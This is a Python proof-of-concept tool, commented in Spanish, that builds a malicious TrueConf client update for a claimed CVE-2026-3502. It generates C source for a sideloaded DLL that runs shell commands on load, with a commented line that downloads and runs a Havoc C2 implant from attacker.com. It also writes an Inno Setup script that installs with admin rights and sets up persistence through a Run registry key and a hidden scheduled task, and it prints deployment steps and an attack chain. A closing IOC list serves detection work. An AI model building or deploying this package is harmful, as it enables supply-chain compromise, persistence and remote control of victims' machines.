#!/usr/bin/env python3
"""
CVE-2026-3502 - Malicious Update Builder
Construye un paquete de actualización malicioso para TrueConf
"""

import os
import subprocess
import shutil
import tempfile
import sys
from pathlib import Path
from colorama import init, Fore, Style

init(autoreset=True)

class MaliciousUpdateBuilder:
    """Construye un paquete de actualización malicioso"""
    
    def __init__(self, output_dir="malicious_update"):
        self.output_dir = Path(output_dir)
        self.output_dir.mkdir(exist_ok=True)
        self.temp_dir = tempfile.mkdtemp()
        
    def create_dll_payload(self):
        """Crea una DLL maliciosa para sideloading"""
        dll_code = '''
#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
            // Payload de demostración
            MessageBoxA(NULL, "CVE-2026-3502 - Payload Executed!", "TrueConf Exploit", MB_OK);
            
            // Crear archivo como prueba
            system("echo Exploited > C:\\\\ProgramData\\\\pwned.txt");
            
            // En un ataque real: Havoc C2 demon
            // system("curl http://attacker.com/havoc.exe -o %temp%\\\\havoc.exe && %temp%\\\\havoc.exe");
            break;
        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}
'''
        dll_file = Path(self.temp_dir) / "7z-x64.dll"
        dll_file.write_text(dll_code)
        
        print(f"{Fore.GREEN}[+] DLL payload created: {dll_file}{Style.RESET_ALL}")
        
        # Nota: En un entorno real, necesitarías compilar con MinGW o Visual Studio
        print(f"{Fore.YELLOW}[!] Compile with: x86_64-w64-mingw32-gcc -shared -o 7z-x64.dll payload.c{Style.RESET_ALL}")
        
        return dll_file
    
    def create_innosetup_script(self):
        """Crea script de Inno Setup para el instalador malicioso"""
        iss_script = '''
[Setup]
AppName=TrueConf Client
AppVersion=8.5.2
DefaultDirName={pf}\\TrueConf
OutputBaseFilename=trueconf_client_update
Compression=lzma2
SolidCompression=yes
PrivilegesRequired=admin

[Files]
Source: "trueconf_client.exe"; DestDir: "{app}"; Flags: ignoreversion
Source: "7z-x64.dll"; DestDir: "{commonappdata}\\PowerISO"; Flags: ignoreversion
Source: "poweriso.exe"; DestDir: "{commonappdata}\\PowerISO"; Flags: ignoreversion

[Run]
Filename: "{app}\\trueconf_client.exe"; Description: "Launch TrueConf"; Flags: postinstall nowait
Filename: "{cmd}"; Parameters: "/c reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v UpdateCheck /d C:\\ProgramData\\PowerISO\\poweriso.exe /f"; Flags: runhidden

[Code]
procedure CurStepChanged(CurStep: TSetupStep);
begin
  if CurStep = ssPostInstall then
  begin
    // Persistencia y ejecución de payload
    Exec(ExpandConstant('{cmd}'), '/c schtasks /create /tn "TrueConfUpdate" /tr "C:\\ProgramData\\PowerISO\\poweriso.exe" /sc daily /f', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
  end;
end;
'''
        iss_file = Path(self.temp_dir) / "installer.iss"
        iss_file.write_text(iss_script)
        
        print(f"{Fore.GREEN}[+] Inno Setup script created: {iss_file}{Style.RESET_ALL}")
        return iss_file
    
    def download_legitimate_binaries(self):
        """Descarga binarios legítimos para el señuelo"""
        # En un PoC real, descargarías trueconf_client.exe legítimo
        # Aquí creamos un stub
        
        stub_code = '''
#include <stdio.h>
int main() {
    printf("TrueConf Client (Legitimate Stub)\\n");
    printf("Version 8.5.2\\n");
    getchar();
    return 0;
}
'''
        stub_file = Path(self.temp_dir) / "trueconf_client.c"
        stub_file.write_text(stub_code)
        
        print(f"{Fore.YELLOW}[!] Compile stub with: gcc -o trueconf_client.exe trueconf_client.c{Style.RESET_ALL}")
        
        # PowerISO señuelo
        poweriso_stub = '''
#include <windows.h>
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmdLine, int nShow) {
    MessageBoxA(NULL, "PowerISO (Decoy)", "TrueConf Update", MB_OK);
    return 0;
}
'''
        poweriso_file = Path(self.temp_dir) / "poweriso.c"
        poweriso_file.write_text(poweriso_stub)
        
        print(f"{Fore.YELLOW}[!] Compile with: x86_64-w64-mingw32-gcc -o poweriso.exe poweriso.c -luser32{Style.RESET_ALL}")
    
    def build_update_package(self):
        """Construye el paquete de actualización completo"""
        print(f"\n{Fore.CYAN}[*] Building malicious update package...{Style.RESET_ALL}")
        
        # Crear componentes
        self.create_dll_payload()
        self.create_innosetup_script()
        self.download_legitimate_binaries()
        
        # Instrucciones de compilación
        instructions = f"""
=== BUILD INSTRUCTIONS ===

1. Install Inno Setup: https://jrsoftware.org/isinfo.php

2. Compile the installer:
   ISCC.exe {self.temp_dir}\\installer.iss

3. The output will be: Output\\trueconf_client_update.exe

4. Deploy to: C:\\Program Files\\TrueConf Server\\ClientInstFiles\\trueconf_client.exe

=== ATTACK CHAIN ===

1. Victim opens TrueConf client
2. Client checks version against server
3. Server returns newer version (malicious)
4. Victim clicks "Update"
5. Malicious installer runs with admin privileges
6. DLL sideloading loads 7z-x64.dll
7. Persistence established via Run key
8. Havoc C2 demon connects to attacker

=== IOCS TO MONITOR ===

- C:\\ProgramData\\PowerISO\\poweriso.exe
- C:\\ProgramData\\PowerISO\\7z-x64.dll
- HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\UpdateCheck
- Scheduled task: TrueConfUpdate
"""
        print(instructions)
        
        # Guardar instrucciones
        with open(self.output_dir / "build_instructions.txt", 'w') as f:
            f.write(instructions)
        
        print(f"{Fore.GREEN}[+] Build instructions saved to {self.output_dir / 'build_instructions.txt'}{Style.RESET_ALL}")
        
        return self.output_dir

def main():
    print(f"{Fore.RED}[!] CVE-2026-3502 - Malicious Update Builder{Style.RESET_ALL}")
    print(f"{Fore.YELLOW}[!] This tool demonstrates the vulnerability{Style.RESET_ALL}")
    
    builder = MaliciousUpdateBuilder()
    output = builder.build_update_package()
    
    print(f"\n{Fore.GREEN}[+] Malicious update package prepared in: {output}{Style.RESET_ALL}")

if __name__ == "__main__":
    main()